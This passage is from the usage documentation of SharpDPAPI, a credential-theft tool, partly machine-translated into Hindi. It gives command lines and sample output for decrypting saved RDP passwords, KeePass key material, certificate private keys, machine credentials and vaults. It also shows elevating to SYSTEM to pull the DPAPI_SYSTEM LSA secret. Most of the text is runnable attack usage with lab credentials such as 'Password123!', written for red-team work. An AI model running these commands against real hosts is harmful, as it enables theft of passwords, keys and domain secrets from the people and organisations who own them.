algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
rdg कमांड वर्तमान उपयोगकर्ता (या यदि उन्नत है, तो सभी उपयोगकर्ताओं) के लिए RDCMan.settings फ़ाइलों की खोज करेगा और या तो a) उन्हें किसी भी पारित "{GUID}:SHA1" मास्टरकी के साथ डिक्रिप्ट करेगा, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग का /mkfile:FILE, c) किसी उपलब्ध DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) का उपयोग करके पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा (जैसे masterkeys), या d) एक /password:X का उपयोग करके किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा, जिसका उपयोग लुकअप डिक्रिप्शन तालिका के रूप में किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
/unprotect फ़्लैग किसी भी सहेजे गए RDP पासवर्ड को डिक्रिप्ट करने के लिए CryptUnprotectData() का उपयोग करेगा, यदि कमांड उस उपयोगकर्ता संदर्भ से चलाया जाता है जिसने पासवर्ड सहेजे हैं। यह एक अविशेषाधिकार प्राप्त संदर्भ से किया जा सकता है, LSASS को छुए बिना। यह दृष्टिकोण क्रेडेंशियल्स/वॉल्ट्स के लिए क्यों उपयोग नहीं किया जाता है, इसके लिए बेंजामिन का दस्तावेज़ीकरण यहाँ देखें।
एक विशिष्ट RDCMan.settings फ़ाइल, .RDC फ़ाइल (या .RDG फ़ाइलों का फ़ोल्डर) /target:FILE या /target:C:\Folder\ के साथ निर्दिष्ट किया जा सकता है। यदि कोई फ़ाइल निर्दिष्ट की जाती है, तो {GUID}:SHA1 मान (या /unprotect) आवश्यक हैं, और यदि कोई फ़ोल्डर निर्दिष्ट किया जाता है तो या तो a) {GUID}:SHA1 मान प्रदान किए जाने चाहिए या b) फ़ोल्डर में DPAPI मास्टरकी होनी चाहिए और एक /pvk डोमेन बैकअप कुंजी प्रदान की जानी चाहिए।
यह कमांड RDCMan.settings फ़ाइल और RDCMan.settings फ़ाइल द्वारा संदर्भित किसी भी .RDG फ़ाइलों से किसी भी सहेजे गए पासवर्ड जानकारी को डिक्रिप्ट करेगा।
किसी भी मिले पासवर्ड को डिक्रिप्ट करने के लिए /unprotect का उपयोग करना:
C:\Temp>SharpDPAPI.exe rdg /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
डोमेन {GUID}:SHA1 मास्टरकी मैपिंग का उपयोग करना:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
किसी भी खोजे जा सकने वाले मास्टरकी को पहले डिक्रिप्ट करने के लिए डोमेन DPAPI बैकअप कुंजी का उपयोग करना:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging RDCMan.settings Files for ALL users
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
keepass कमांड वर्तमान उपयोगकर्ता (या यदि उन्नत है, तो सभी उपयोगकर्ताओं) के लिए KeePass ProtectedUserKey.bin फ़ाइलों की खोज करेगा और या तो a) उन्हें किसी भी पारित "{GUID}:SHA1" मास्टरकी के साथ डिक्रिप्ट करेगा, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग का /mkfile:FILE, c) किसी उपलब्ध DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) का उपयोग करके पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा (जैसे masterkeys), या d) एक /password:X का उपयोग करके किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा, जिसका उपयोग लुकअप डिक्रिप्शन तालिका के रूप में किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
/unprotect फ़्लैग कुंजी बाइट्स को डिक्रिप्ट करने के लिए CryptUnprotectData() का उपयोग करेगा, यदि कमांड उस उपयोगकर्ता संदर्भ से चलाया जाता है जिसने पासवर्ड सहेजे हैं। यह एक अविशेषाधिकार प्राप्त संदर्भ से किया जा सकता है, LSASS को छुए बिना। यह दृष्टिकोण क्रेडेंशियल्स/वॉल्ट्स के लिए क्यों उपयोग नहीं किया जाता है, इसके लिए बेंजामिन का दस्तावेज़ीकरण यहाँ देखें।
एक विशिष्ट ProtectedUserKey.bin फ़ाइल, .RDC फ़ाइल (या .RDG फ़ाइलों का फ़ोल्डर) /target:FILE या /target:C:\Folder\ के साथ निर्दिष्ट किया जा सकता है। यदि कोई फ़ाइल निर्दिष्ट की जाती है, तो {GUID}:SHA1 मान (या /unprotect) आवश्यक हैं, और यदि कोई फ़ोल्डर निर्दिष्ट किया जाता है तो या तो a) {GUID}:SHA1 मान प्रदान किए जाने चाहिए या b) फ़ोल्डर में DPAPI मास्टरकी होनी चाहिए और एक /pvk डोमेन बैकअप कुंजी प्रदान की जानी चाहिए।
डिक्रिप्ट की गई कुंजी फ़ाइल बाइट्स का उपयोग KeeThief में संशोधित KeePass संस्करण के साथ किया जा सकता है।
किसी भी मिली कुंजी सामग्री को डिक्रिप्ट करने के लिए /unprotect का उपयोग करना:
C:\Temp> SharpDPAPI.exe keepass /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: KeePass Triage
[*] Using CryptUnprotectData() for decryption.
[*] Triaging KeePass ProtectedUserKey.bin files for current user
File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...
SharpDPAPI completed in 00:00:00.0566660
certificates कमांड उपयोगकर्ता के एन्क्रिप्टेड DPAPI प्रमाणपत्र निजी कुंजियों की खोज करेगा a) उन्हें किसी भी पारित "{GUID}:SHA1" मास्टरकी के साथ डिक्रिप्ट करेगा, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग का /mkfile:FILE, c) किसी उपलब्ध DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) का उपयोग करके पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा (जैसे masterkeys), या d) एक /password:X का उपयोग करके किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा, जिसका उपयोग लुकअप डिक्रिप्शन तालिका के रूप में किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
/unprotect फ़्लैग निजी कुंजियों को डिक्रिप्ट करने के लिए CryptUnprotectData() का उपयोग करेगा, यदि कमांड उस उपयोगकर्ता संदर्भ से चलाया जाता है जिसके प्रमाणपत्रों तक आप पहुँचने का प्रयास कर रहे हैं। यह एक अविशेषाधिकार प्राप्त संदर्भ से किया जा सकता है, LSASS को छुए बिना। यह दृष्टिकोण क्रेडेंशियल्स/वॉल्ट्स के लिए क्यों उपयोग नहीं किया जाता है, इसके लिए बेंजामिन का दस्तावेज़ीकरण यहाँ देखें।
एक विशिष्ट प्रमाणपत्र को /target:FILE या /target:C:\Folder\ के साथ निर्दिष्ट किया जा सकता है। दोनों मामलों में, {GUID}:SHA1 मान (या /unprotect) आवश्यक हैं या b) फ़ोल्डर में DPAPI मास्टरकी होनी चाहिए और एक /pvk डोमेन बैकअप कुंजी प्रदान की जानी चाहिए।
डिफ़ॉल्ट रूप से, केवल वे निजी कुंजियाँ प्रदर्शित होती हैं जो किसी संबद्ध स्थापित प्रमाणपत्र से जुड़ी हो सकती हैं। /showall कमांड सभी डिक्रिप्ट की गई निजी कुंजियों को प्रदर्शित करेगा।
CNG निजी कुंजियों के लिए /cng फ़्लैग का उपयोग करें (डिफ़ॉल्ट capi है)।
डोमेन {GUID}:SHA1 मास्टरकी मैपिंग का उपयोग करना:
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daथंबप्रिंट : 98A03BC583861DCC19045758C0E0C05162091B6C
जारीकर्ता : CN=theshire-DC-CA, DC=theshire, DC=local
विषय : CN=harmj0y
वैध तिथि : 2/22/2021 2:19:02 PM
समाप्ति तिथि : 2/22/2022 2:19:02 PM
संवर्धित कुंजी उपयोग:
क्लाइंट प्रमाणीकरण (1.3.6.1.5.5.7.3.2)
[!] प्रमाणपत्र क्लाइंट प्रमाणीकरण के लिए उपयोग किया जाता है!
सुरक्षित ईमेल (1.3.6.1.5.5.7.3.4)
फ़ाइल सिस्टम को एन्क्रिप्ट करना (1.3.6.1.4.1.311.10.3.4)
[*] निजी कुंजी फ़ाइल 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 पुनर्प्राप्त की गई:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
किसी भी मिले उपयोगकर्ता प्रमाणपत्रों को डिक्रिप्ट करने के लिए /unprotect का उपयोग करना:
C:\Temp> SharpDPAPI.exe certificates /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] कार्रवाई: प्रमाणपत्र ट्राइएज
[*] डिक्रिप्शन के लिए CryptUnprotectData() का उपयोग कर रहे हैं।
फ़ोल्डर : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
फ़ाइल : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b
प्रदाता GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
मास्टर कुंजी GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
विवरण : निजी कुंजी
algCrypt : CALG_AES_256 (keyLen 256)
algHash : CALG_SHA_512 (32782)
नमक : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
अद्वितीय नाम : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}
थंबप्रिंट : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
जारीकर्ता : CN=theshire-DC-CA, DC=theshire, DC=local
विषय : CN=harmj0y
वैध तिथि : 10/18/2022 11:40:07 AM
समाप्ति तिथि : 10/18/2023 12:00:07 PM
संवर्धित कुंजी उपयोग:
क्लाइंट प्रमाणीकरण (1.3.6.1.5.5.7.3.2)
[!] प्रमाणपत्र क्लाइंट प्रमाणीकरण के लिए उपयोग किया जाता है!
सर्वर प्रमाणीकरण (1.3.6.1.5.5.7.3.1)
[*] निजी कुंजी फ़ाइल f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b पुनर्प्राप्त की गई:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
किसी भी खोजे जाने योग्य मास्टरकीज़ को पहले डिक्रिप्ट करने के लिए डोमेन DPAPI बैकअप कुंजी का उपयोग करना:
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] कार्रवाई: प्रमाणपत्र ट्राइएज
[*] डिक्रिप्शन कुंजी मैपिंग के लिए मास्टरकीज़ की ट्राइएज करने हेतु डोमेन DPAPI बैकअप कुंजी का उपयोग कर रहे हैं!
[*] उपयोगकर्ता मास्टर कुंजी कैश:
{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
फ़ोल्डर : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
फ़ाइल : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
प्रदाता GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
मास्टर कुंजी GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
विवरण : CryptoAPI निजी कुंजी
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
नमक : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
अद्वितीय नाम : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
थंबप्रिंट : 98A03BC583861DCC19045758C0E0C05162091B6C
जारीकर्ता : CN=theshire-DC-CA, DC=theshire, DC=local
विषय : CN=harmj0y
वैध तिथि : 2/22/2021 2:19:02 PM
समाप्ति तिथि : 2/22/2022 2:19:02 PM
संवर्धित कुंजी उपयोग:
क्लाइंट प्रमाणीकरण (1.3.6.1.5.5.7.3.2)
[!] प्रमाणपत्र क्लाइंट प्रमाणीकरण के लिए उपयोग किया जाता है!
सुरक्षित ईमेल (1.3.6.1.5.5.7.3.4)
फ़ाइल सिस्टम को एन्क्रिप्ट करना (1.3.6.1.4.1.311.10.3.4)
[*] निजी कुंजी फ़ाइल 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 पुनर्प्राप्त की गई:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
triage कमांड उपयोगकर्ता credentials, vaults, rdg, और certificates कमांड चलाता है।
machinemasterkeys कमांड DPAPI_SYSTEM LSA रहस्य को पुनः प्राप्त करने के लिए SYSTEM में ऊंचाई प्राप्त करेगा, जिसका उपयोग किसी भी मिली मशीन DPAPI मास्टरकीज़ को डिक्रिप्ट करने के लिए किया जाता है। यह मास्टरकी {GUID}:SHA1 मैपिंग का एक सेट लौटाएगा।
स्थानीय प्रशासनिक अधिकार आवश्यक हैं (ताकि हम DPAPI_SYSTEM LSA रहस्य प्राप्त कर सकें)।
C:\Temp>SharpDPAPI.exe machinemasterkeys
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] कार्रवाई: मशीन DPAPI मास्टरकी फ़ाइल ट्राइएज
[*] LSA रहस्य पुनर्प्राप्ति के लिए टोकन डुप्लीकेशन के माध्यम से SYSTEM में ऊंचाई प्राप्त कर रहे हैं
[*] RevertToSelf()
[*] रहस्य : DPAPI_SYSTEM
[*] पूर्ण: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM मास्टर कुंजी कैश:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
machinecredentials कमांड DPAPI_SYSTEM LSA रहस्य को पुनः प्राप्त करने के लिए SYSTEM में ऊंचाई प्राप्त करेगा, जिसका उपयोग किसी भी मिली मशीन DPAPI मास्टरकीज़ को डिक्रिप्ट करने के लिए किया जाता है। इन कुंजियों का उपयोग तब किसी भी मिली मशीन क्रेडेंशियल फ़ाइलों को डिक्रिप्ट करने के लिए किया जाता है।
स्थानीय प्रशासनिक अधिकार आवश्यक हैं (ताकि हम DPAPI_SYSTEM LSA रहस्य प्राप्त कर सकें)।
C:\Temp>SharpDPAPI.exe machinecredentials
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] कार्रवाई: मशीन DPAPI क्रेडेंशियल ट्राइएज
[*] LSA रहस्य पुनर्प्राप्ति के लिए टोकन डुप्लीकेशन के माध्यम से SYSTEM में ऊंचाई प्राप्त कर रहे हैं
[*] RevertToSelf()
[*] रहस्य : DPAPI_SYSTEM
[*] पूर्ण: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM मास्टर कुंजी कैश:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] सिस्टम क्रेडेंशियल्स की ट्राइएज कर रहे हैं
फ़ोल्डर : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
क्रेडफ़ाइल : C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
आकार : 544
फ़्लैग्स : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
विवरण : स्थानीय क्रेडेंशियल डेटा
अंतिम लिखित : 3/24/2019 7:08:43 PM
लक्ष्य नाम : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
लक्ष्य उपनाम :
टिप्पणी :
उपयोगकर्ता नाम : TESTLAB\harmj0y
क्रेडेंशियल : Password123!
फ़ोल्डर : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
क्रेडफ़ाइल : DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
machinevaults कमांड DPAPI_SYSTEM LSA रहस्य को पुनः प्राप्त करने के लिए SYSTEM में ऊंचाई प्राप्त करेगा, जिसका उपयोग किसी भी मिली मशीन DPAPI मास्टरकीज़ को डिक्रिप्ट करने के लिए किया जाता है। इन कुंजियों का उपयोग तब किसी भी मिली मशीन वॉल्ट को डिक्रिप्ट करने के लिए किया जाता है।
स्थानीय प्रशासनिक अधिकार आवश्यक हैं (ताकि हम DPAPI_SYSTEM LSA रहस्य प्राप्त कर सकें)।
C:\Temp>SharpDPAPI.exe machinevaults
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] कार्रवाई: मशीन DPAPI वॉल्ट ट्राइएज
[*] LSA रहस्य पुनर्प्राप्ति के लिए टोकन डुप्लीकेशन के माध्यम से SYSTEM में ऊंचाई प्राप्त कर रहे हैं
[*] RevertToSelf()
[*] रहस्य : DPAPI_SYSTEM
[*] पूर्ण: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM मास्टर कुंजी कैश:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] SYSTEM वॉल्ट की ट्राइएज कर रहे हैं
[*] वॉल्ट फ़ोल्डर की ट्राइएज कर रहे हैं: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
वॉल्ट आईडी : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
नाम : वेब क्रेडेंशियल्स
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
आकार : 324
फ़्लैग्स : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
विवरण :
aes128 कुंजी : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 कुंजी : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(snip)...
certificates /machine कमांड डिक्रिप्ट करने योग्य मशीन प्रमाणपत्र निजी कुंजियों की खोज के लिए मशीन प्रमाणपत्र स्टोर का उपयोग करेगा। /mkfile:X और {GUID}:masterkey /target:\[file|folder\] कमांड के साथ उपयोग करने योग्य हैं, अन्यथा SharpDPAPI DPAPI_SYSTEM LSA रहस्य को पुनः प्राप्त करने के लिए SYSTEM में ऊंचाई प्राप्त करेगा, जिसका उपयोग किसी भी मिली मशीन DPAPI मास्टरकीज़ को डिक्रिप्ट करने के लिए किया जाता है। इन कुंजियों का उपयोग तब किसी भी मिली मशीन सिस्टम एन्क्रिप्टेड DPAPI निजी प्रमाणपत्र कुंजियों को डिक्रिप्ट करने के लिए किया जाता है।
डिफ़ॉल्ट रूप से, केवल संबद्ध स्थापित प्रमाणपत्र से जुड़ी निजी कुंजियाँ प्रदर्शित की जाती हैं। /showall कमांड सभी डिक्रिप्ट की गई निजी कुंजियाँ प्रदर्शित करेगा।
स्थानीय प्रशासनिक अधिकार आवश्यक हैं (ताकि हम DPAPI_SYSTEM LSA रहस्य प्राप्त कर सकें)।
C:\Temp>SharpDPAPI.exe certificates /machine
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] कार्रवाई: प्रमाणपत्र ट्राइएज
[*] LSA रहस्य पुनर्प्राप्ति के लिए टोकन डुप्लीकेशन के माध्यम से SYSTEM में ऊंचाई प्राप्त कर रहे हैं
[*] RevertToSelf()
[*] रहस्य : DPAPI_SYSTEM
[*] पूर्ण: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM मास्टर कुंजी कैश:
{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...
[*] सिस्टम प्रमाणपत्रों की ट्राइएज कर रहे हैं
फ़ोल्डर : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
फ़ाइल : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
प्रदाता GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
मास्टर कुंजी GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
विवरण : CryptoAPI निजी कुंजी
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
नमक : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
अद्वितीय नाम : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
थंबप्रिंट : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
जारीकर्ता : CN=theshire-DC-CA, DC=theshire, DC=local
विषय : CN=dev.theshire.local
वैध तिथि : 2/22/2021 3:50:43 PM
समाप्ति तिथि : 2/22/2022 3:50:43 PM
संवर्धित कुंजी उपयोग:
क्लाइंट प्रमाणीकरण (1.3.6.1.5.5.7.3.2)
[!] प्रमाणपत्र क्लाइंट प्रमाणीकरण के लिए उपयोग किया जाता है!
सर्वर प्रमाणीकरण (1.3.6.1.5.5.7.3.1)
[*] निजी कुंजी फ़ाइल 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 पुनर्प्राप्त की गई:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----
machinetriage कमांड उपयोगकर्ता machinecredentials, machinevaults, और certificates /machine कमांड चलाता है।
ps कमांड एक निर्यातित PSCredential clixml का वर्णन/डिक्रिप्ट करेगा। एक /target:FILE.xml अनिवार्य है।
कमांड a) पास किए गए किसी भी "{GUID}:SHA1" मास्टरकी के साथ फ़ाइल को डिक्रिप्ट करेगा, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग का /mkfile:FILE, c) पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए एक आपूर्ति की गई DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) का उपयोग करेगा (जैसे masterkeys), या d) किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए /password:X का उपयोग करेगा, जिसे बाद में एक लुकअप डिक्रिप्शन तालिका के रूप में उपयोग किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
/unprotect फ़्लैग मास्टरकी की आवश्यकता के बिना क्रेडेंशियल .xml को डिक्रिप्ट करने के लिए CryptUnprotectData() का उपयोग करेगा, यदि कमांड उस उपयोगकर्ता संदर्भ से चलाया जाता है जिसने पासवर्ड सहेजे थे। यह एक अविशेषाधिकार प्राप्त संदर्भ से किया जा सकता है, LSASS को छुए बिना। क्रेडेंशियल/वॉल्ट के लिए इस दृष्टिकोण का उपयोग क्यों नहीं किया जाता है, इसके लिए Benjamin का दस्तावेज़ीकरण यहाँ देखें।
